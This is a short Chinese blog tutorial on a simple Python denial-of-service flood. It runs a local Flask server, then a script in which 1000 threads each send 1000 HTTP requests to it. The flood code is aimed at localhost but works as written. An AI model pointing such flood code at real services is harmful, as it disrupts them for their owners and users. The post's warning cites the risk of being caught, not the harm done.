python-简单的dos攻击

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装flask

shell 复制代码
pip install flask 
py 复制代码
from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run(debug=True)

python编写DOS攻击服务

shell 复制代码
pip install requests
py 复制代码
import requests
from requests.exceptions import RequestException
import threading

def requestGetOne():
    try:
        response = requests.get('http://127.0.0.1:5000', timeout=5)
        response.raise_for_status()  # 检查响应状态码
        print(response.text)
    except RequestException as e:
        print(f'请求出错: {e}')

def print_numbers():
    for i in range(1000):
        requestGetOne()

if __name__ == "__main__":
    threads = []
    for i in range(1000):  # 创建1000个线程
        thread = threading.Thread(target=print_numbers)
        threads.append(thread)
        thread.start()

    # 等待所有线程结束
    for thread in threads:
        thread.join()

    print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

相关推荐
水w几秒前
【Python爬虫】详细入门指南
开发语言·爬虫·python·scrapy·beautifulsoup
weixin_445054725 分钟前
力扣刷题-热题100题-第35题(c++、python)
c++·python·leetcode
Susea&43 分钟前
数据结构初阶:双向链表
c语言·开发语言·数据结构
_x_w1 小时前
【17】数据结构之图及图的存储篇章
数据结构·python·算法·链表·排序算法·图论
pianmian11 小时前
arcgis几何与游标(1)
开发语言·python
-曾牛1 小时前
【LangChain4j快速入门】5分钟用Java玩转GPT-4o-mini,Spring Boot整合实战!| 附源码
java·开发语言·人工智能·spring boot·ai·chatgpt
冬天vs不冷1 小时前
SpringBoot条件注解全解析:核心作用与使用场景详解
java·spring boot·python
nanzhuhe2 小时前
python中参数前**的含义
开发语言·python
wt_cs2 小时前
身份认证C#集成方案-数字时代身份证实名认证利器
开发语言·c#
hello_ejb32 小时前
聊聊Spring AI Alibaba的PdfTablesParser
windows·python·spring